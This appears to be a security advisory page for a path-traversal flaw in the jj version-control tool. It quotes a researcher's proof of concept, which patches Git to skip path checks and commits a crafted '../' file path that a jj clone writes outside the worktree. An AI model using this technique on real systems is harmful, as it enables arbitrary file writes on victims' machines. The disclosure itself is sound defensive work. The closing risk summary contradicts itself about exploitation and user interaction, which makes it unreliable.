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GHSA-88h5-6w7m-5w56
No affected components available
Impact
Specially crafted Git repositories can cause jj to write files outside the clone.
Patches
Fixed in 0.23.0.
Workarounds
Not much other than to not clone repositories from untrusted sources.
References
Here's the original report from @joernchen:
When cloning a crafted Git repository it is possible to let
jjwrite into arbitrary directories. This can be achieved by having file objects which contain path traversals.Reproduction steps:
Apply the following patch to Git version v.2.47.0:
diff --git a/path.c b/path.c index 93491bab14..2f47e69fd1 100644 --- a/path.c +++ b/path.c @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void) static const char *cleanup_path(const char *path) { - /* Clean it up */ + /* Clean it up if (skip_prefix(path, "./", &path)) { while (*path == '/') path++; - } + }*/ return path; } @@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len) int normalize_path_copy(char *dst, const char *src) { - return normalize_path_copy_len(dst, src, NULL); +// return normalize_path_copy_len(dst, src, NULL); + memcpy(dst, src, strlen(dst)); + return 0; } int strbuf_normalize_path(struct strbuf *src) diff --git a/read-cache.c b/read-cache.c index 3c078afadb..2eb44cb26f 100644 --- a/read-cache.c +++ b/read-cache.c @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path, unsigned mode) { char c = 0; + return PATH_OK; if (has_dos_drive_prefix(path)) return PATH_INVALID;With this patched
gitbinary we can now apply a crafted patch containing a path traversal to a repository.The patch would look like:
From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001 From: joernchen <[joernchen@phenoelit.de](mailto:joernchen@phenoelit.de)> Date: Sun, 13 Oct 2024 18:09:50 +0200 Subject: [PATCH] z123 --- z | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 z diff --git a/../joernchen_was_here b/../joernchen_was_here new file mode 100644 index 0000000..e69de29 -- 2.46.1Note the traversal
../joernchen_was_herein the patch. This now can be committed to a repository using the modifiedgitbinary:mkdir demo cd demo git init ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch rm ../joernchen_was_here # remove the file the modified git wroteNow, when cloning that repository with
jj git clonethe path traversal will write above the worktree directory, allowing arbitrary file writes.I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For reproduction it should be sufficient to do
jj git clone demo.gitafter unpacking the tarball.The demo repository after being cloned with
jjwill create an empty filejoernchen_was_hereright next to thedemodirectory to demonstrate the traversal.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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